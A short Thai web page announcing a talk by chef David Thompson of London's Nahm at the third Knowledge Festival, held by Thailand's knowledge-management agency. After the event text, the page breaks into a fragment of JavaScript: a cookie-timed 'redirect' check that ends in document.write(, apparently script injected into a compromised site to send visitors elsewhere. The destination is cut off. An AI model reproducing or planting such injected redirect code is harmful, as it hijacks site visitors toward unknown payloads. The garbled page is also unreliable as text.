งานมหกรรมความรู้ ( Knowledge Festival ครั้งที่ 3 ) จัดโดยสำนักงานบริหารและพัฒนาองค์ความรู้ (องค์การมหาชน) พบกับLong Table Symposium: อาหารบ้านบ้าน | หัวข้อ "เมื่อภูมิปัญญาคือแก่นแท้ พาครัวไทยสู่ระดับโลก" โดย David Thompson เจ้าของร้าน Nahm แห่งกรุงลอนดอน เชฟชาวออสเตรเลียที่ทำอาหารไทยได้อย่างดีเยี่ยม น่าทึ่ง จนเป็นที่รู้จักกันดีในต่างแดน และได้รับรางวัล 1 ดาวของ “มิชลิน” David เป็นผู้พิศมัยในอาหารไทยอย่างจับใจ ถึงขั้นฝึกเรียนภาษาไทยทั้งอ่านเขียนและพูดอย่างแคล่วคล่อง จนสามารถศึกษาตำรับตำราอาหารไทยชั้นสูงจำนวนมากได้อย่างลึกซึ้ง ไม่ว่าจะเป็นตำรับสายเยาวภา ตำรับแม่ครัวหัวป่าก์ของท่านผู้หญิงเปลี่ยน ภาสกรวงศ์ และตำรับของเจ้าจอมพิศว์ บุนนาค ;redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('